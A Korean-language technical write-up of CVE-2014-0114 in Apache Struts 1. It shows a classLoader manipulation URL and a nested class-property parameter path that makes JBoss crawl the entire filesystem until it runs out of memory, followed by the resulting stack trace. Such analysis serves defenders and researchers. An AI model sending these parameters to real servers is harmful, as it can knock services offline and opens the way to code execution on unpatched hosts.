
Apache Struts 1 클래스 매개변수 조작(CVE-2014-0114)에 대한 기술 분석 및 개념 증명으로, Tomcat에서 원격 코드 실행 및 JBoss/Wildfly에서 서비스 거부를 시연합니다.
POST 또는 GET 요청의 매개변수는 양식을 기준으로 설정될 속성(properties)으로 처리됩니다. 매개변수는 중첩된 객체로의 경로일 수 있습니다.
Apache Struts 1.x는 Form Beans에서 getClass()를 호출하도록 조작될 수 있습니다. 예를 들어, 양식의 classloader 속성을 직접 조작할 수 있습니다: https://example.com/?class.classLoader.defaultAssertionStatus=true.
내부적으로 Apache Struts 1.x는 commons-beanutils를 사용하는데, 버전 1.8(및 이전 버전)에서는 class 속성을 제외하지 않습니다.
Struts 2도 유사한 결함이 있었지만, 여기서는 프레임워크에 패치가 없으며 최신 버전이 2008년에 출시된(2013년부터 EOL) Struts 1.x에 초점을 맞춥니다.
애플리케이션이 Tomcat (Catalina)에서 실행되는 경우 로깅을 조작하여 공격자가 JSP 파일을 생성하고 서버에 요청할 때 실행되도록 할 수 있습니다. JSP 파일은 Java 프로세스를 실행하는 사용자로 임의의 Java 코드를 실행할 수 있습니다.
자세한 내용은 Julián Vilas의 데모를 참조하세요.
(JBoss EAP 7.1에서 테스트됨)
최악의 경우 JBoss를 완전히 사용할 수 없게 만들고 재시작이 필요한 DOS 공격을 수행하는 간단한 방법이 있습니다. 최선의 경우 JBoss가 느리게 응답합니다.
class 속성을 통해 Class#protectionDomain.codeSource.location에 접근할 수 있습니다. JBoss에서는 프로토콜을 가진 객체입니다.
vfsURLvfs:// 타입의 URL에 대해 JBoss는 URLStreamHandler를 등록했으며, URL#getContent가 호출되면 org.jboss.vfs.VirtualFile 타입의 객체를 반환합니다.
class.protectionDomain.codeSource.location.content.pathName는 <SÖKGVÄG>/<applikation>/WEB-INF/classes 디렉토리를 가리킵니다.
parent를 통해 한 단계 위 디렉토리의 객체에 접근합니다:
class.protectionDomain.codeSource.location.content.parent.pathName -> <SÖKVÄG>/<applikation>/WEB-INF
질문: 파일 시스템의 루트에 도달하기 위해 몇 개의 parent 참조가 필요한가?
질문:
파일 시스템의 루트 디렉토리에 대해 class.protectionDomain.codeSource.location.content.parent.parent.[...].childrenRecursively[0].pathName을 요청하면 어떻게 되는가?
답변:
JBoss는 파일 시스템의 모든 파일을 탐색하고 각 파일 및 디렉토리에 대해 org.jboss.vfs.VirtualFile을 할당합니다.
추가 질문: 두 개의 요청이 동시에 파일 시스템의 모든 파일을 요청하면 어떻게 되는가? 세 개? 다섯 개? 열 개? 백 개?
...
답변:
충분히 기다리면 오류가 기록됩니다
10:09:59,381 ERROR [io.undertow.request] (default task-13) UT005023: Exception handling request to /strutt/Login.do: javax.servlet.ServletException: javax.servlet.ServletException: BeanUtils.populate
at org.apache.struts.chain.ComposableRequestProcessor.process(ComposableRequestProcessor.java:286)
at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1913)
at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:449)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:687)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:85)
at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62)
at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36)
at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:131)
at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46)
at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64)
at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60)
at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77)
at io.undertow.security.handlers.NotificationReceiverHandler.handleRequest(NotificationReceiverHandler.java:50)
at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler.handleRequest(JACCContextIdHandler.java:61)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler.handleRequest(GlobalRequestControllerHandler.java:68)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:292)
at io.undertow.servlet.handlers.ServletInitialHandler.access$100(ServletInitialHandler.java:81)
at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:138)
at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:135)
at io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48)
at io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43)
at org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction.lambda$create$0(SecurityContextThreadSetupAction.java:105)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:272)
at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:81)
at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:104)
at io.undertow.server.Connectors.executeRootHandler(Connectors.java:326)
at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:812)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:748)
Caused by: javax.servlet.ServletException: BeanUtils.populate
at org.apache.struts.util.RequestUtils.populate(RequestUtils.java:475)
at org.apache.struts.chain.commands.servlet.PopulateActionForm.populate(PopulateActionForm.java:50)
at org.apache.struts.chain.commands.AbstractPopulateActionForm.execute(AbstractPopulateActionForm.java:60)
at org.apache.struts.chain.commands.ActionCommandBase.execute(ActionCommandBase.java:51)
at org.apache.commons.chain.impl.ChainBase.execute(ChainBase.java:191)
at org.apache.commons.chain.generic.LookupCommand.execute(LookupCommand.java:305)
at org.apache.commons.chain.impl.ChainBase.execute(ChainBase.java:191)
at org.apache.struts.chain.ComposableRequestProcessor.process(ComposableRequestProcessor.java:283)
... 42 more
Caused by: java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2155)
at org.apache.commons.beanutils.PropertyUtilsBean.getIndexedProperty(PropertyUtilsBean.java:504)
at org.apache.commons.beanutils.PropertyUtilsBean.getIndexedProperty(PropertyUtilsBean.java:408)
at org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(PropertyUtilsBean.java:760)
at org.apache.commons.beanutils.PropertyUtilsBean.getProperty(PropertyUtilsBean.java:837)
at org.apache.commons.beanutils.BeanUtilsBean.setProperty(BeanUtilsBean.java:903)
at org.apache.commons.beanutils.BeanUtilsBean.populate(BeanUtilsBean.java:830)
at org.apache.commons.beanutils.BeanUtils.populate(BeanUtils.java:433)
at org.apache.struts.util.RequestUtils.populate(RequestUtils.java:473)
... 49 more
Caused by: java.lang.OutOfMemoryError: GC overhead limit exceeded
at java.lang.AbstractStringBuilder.<init>(AbstractStringBuilder.java:68)
at java.lang.StringBuilder.<init>(StringBuilder.java:101)
at org.jboss.vfs.VirtualFile.getPathName(VirtualFile.java:139)
at org.jboss.vfs.VirtualFile.getPathName(VirtualFile.java:99)
at org.jboss.vfs.spi.RootFileSystem.getFile(RootFileSystem.java:65)
at org.jboss.vfs.spi.RootFileSystem.isDirectory(RootFileSystem.java:107)
at org.jboss.vfs.VirtualFile.isDirectory(VirtualFile.java:291)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:520)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
10:09:59,420 ERROR [stderr] (Periodic Recovery) Exception in thread "Periodic Recovery" java.lang.OutOfMemoryError: GC overhead limit exceeded
CPU는 몇 개의 요청에 대한 가비지 컬렉션을 처리하느라 최대치로 작동하며 Java 프로세스는 다른 작업을 거의 처리하지 못합니다.
애플리케이션에 따라 다르기도 합니다. 잠금을 획득하는 코드 경로를 트리거하면 애플리케이션/시스템이 중단될 수 있습니다.
CVE
Julián Vilas의 발표
Metasploit